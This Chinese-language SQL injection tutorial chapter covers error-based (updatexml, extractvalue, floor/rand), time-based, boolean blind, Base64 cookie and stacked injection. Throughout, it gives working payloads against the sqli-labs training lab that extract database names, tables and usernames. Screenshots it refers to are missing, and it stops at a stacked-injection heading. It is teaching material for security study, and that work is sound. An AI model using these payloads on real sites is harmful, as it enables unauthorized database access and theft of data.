章节4:SQL注入第四章节查询方式及报错注入
4.1 SQL注入之查询方式
当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式问题导致,这个时候我们需要用到报错或者盲注进行后续操作,同时在注入的过程中,提前了解其中SQL语句可以更好的选择对应的注入语句。
select 查询数据
例如:在网站应用中进行数据显示查询操作
select * from user where id=$id
delete 删除数据
例如:后台管理里面删除文章删除用户等操作
delete from user where id=$id
insert 插入数据
例如:在网站应用中进行用户注册添加操作
insert into user (id,name,pass) values(1,'zhangsan','1234')
update 更新数据
例如:后台中心数据同步或者缓存操作
update user set pwd='p' where id=1
4.2 SQL注入之报错盲注
盲注就是在注入的过程中,获取的数据不能显示到前端页面,此时,我们需要利用一些方法进行判断或者尝试,我们称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注 - 逻辑判断
regexp like ascii left ord mid
2.
基于时间的SQL盲注 - 延时判断
if sleep
3.
基于报错的SQL盲注 - 报错回显(强制性报错)
函数解析:
updatexml():从目标XML中更改包含所查询值的字符串
第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_string(Xpath格式字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml(XML_document,XPath_String,new_value);
1' or updatexml(1,concat(0x7e,database()),0) or '
extractvalue():从目标XML中返回包含所查询值的字符串
第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_String (Xpath格式字符串)
extractvalue(XML_document,XPath_String)
' or extractvalue(1,concat(0x7e,database())) or'
' union select 1,extractvalue(1,concat(0x7e,(select version())))%23
函数应用:
4.2.1 SQL注入之floor报错原理
floor报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或者函数被执行,所以改语句报错而且被抛出的主键是SQL语句或函数执行后的结果。
爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出字段
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
报错需要满足的条件:
- floor()报错注入在MySQL版本8.0已失效,经过测试7.3.4nts也已失效(据说的)
- 注入语句中查询用到的表内数据必须>=3条
- 需要用到的count(*)、floor()或者ceil()、rand()、group by
函数详解
RAND() RAND(N)
返回一个随机浮点值 v,范围在 0到1 之间(即,其范围为 0 ≤ v ≤ 1.0),若已指定一个整数参数N,则它被用作种子值,用来产生重复序列。
rand() 随机数函数
floor() 向下取整函数
count() 计数函数
group by 分组方法
count和group by结合使用
mysql遇到该语句时会建立一个虚拟表(实际上就是会建立虚拟表),那整个工作流程就会如下图所示:
先建立虚拟表,key是主键,不可重复
依次对分组字段数据到key中查询,如果key中没有相同数据,就进行添加,count为1
group by floor(rand(0)*2)报错原理
实际上是因为floor(rand(0)*2)计算是有固定规律的 效果如下 是0110110011 ......的顺序 记住这个顺序对理解比较重要
其实mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次。
那这个"被计算多次"到底是什么意思?就是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。
我们来看下floor(rand(0)*2)报错的过程就知道了,从上面可以看到在一次多记录的查询过程中floor(rand(0)*2)
的值是定性的,为011011...(记住这个顺序很重要),报错实际上就是floor(rand(0)*2)
被计算多次导致的。
具体看看select count(*) from student group by floor(rand(0)*2);
的查询过程
4.3 SQL注入之延时注入
知识储备:
sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠
if(): i f 是 计算机编程语言一个关键字,分支结构的一种
mid(a,b,c): 从b开始,截取a字符串的c位
substr(a,b,c): 从b开始,截取字符串a的c长度
left(database(),1),database() :left(a,b)从左侧截取a的前b位
length(database())=8 : 判断长度
ord=ascii ascii(x)=100: 判断x的ascii值是否为100
使用sleep可以使查询数据休眠指定时间
if(a,b,c):可以理解为在java程序中的三目运算符,a条件成立 执行b, 条件不成立,执行c
使用if与sleep结合使用:
使用靶场less-2来实现延时注入:
localhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(database()=%27test%27,0,5))
可以通过length()来判断数据库的长度
localhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(length(database())=8,8,0))
mid()使用:
substr()函数
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
substr()函数使用:
Left()函数
Left()得到字符串左部指定个数的字符
Left ( string, n )
通过以上函数可以来判断数据信息:
http://localhost/sqli-labs-master/Less-2/index.php?id=1 and sleep(if(mid(database(),1,1)=%27t%27,0,5))
推荐使用ASCII码
- 防止引号 ' " 转义
- 方便以后工具的使用
使用ascii函数()
结合场景使用:
select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=120,sleep(3),0);
select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);
4.4 SQL注入之布尔盲注
1.什么是布尔盲注?
Web的页面仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
返回False时:
返回True时:
2.如何进行布尔盲注?
注入流程:
3.靶场案例演示:
-
猜解数据库的名字
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常
-
猜解表名
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+ 正确
总结归纳:
盲注分为三种:
4.5 SQL注入之加解密注入
Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。
Less-21关 Cookie加密注入:
通过Burpsuite抓包:
进行Base64解密:
4.6 SQL注入之堆叠注入
在SQL中,分号 ; 是用来表示一条sql语句的结束,试想一下我们在 ; 结束一个sql语句后面继续构造下一个语句
1会不会一起执行?因此这个想法也就造就了堆叠注入。
而union injection(联合注入)也是将两条语句合并在一起
两者之间有什么区别?区别就在于union执行语句类型有限,可以用来执行查询语句,而堆叠注入可以执行的是任意语句
Less-38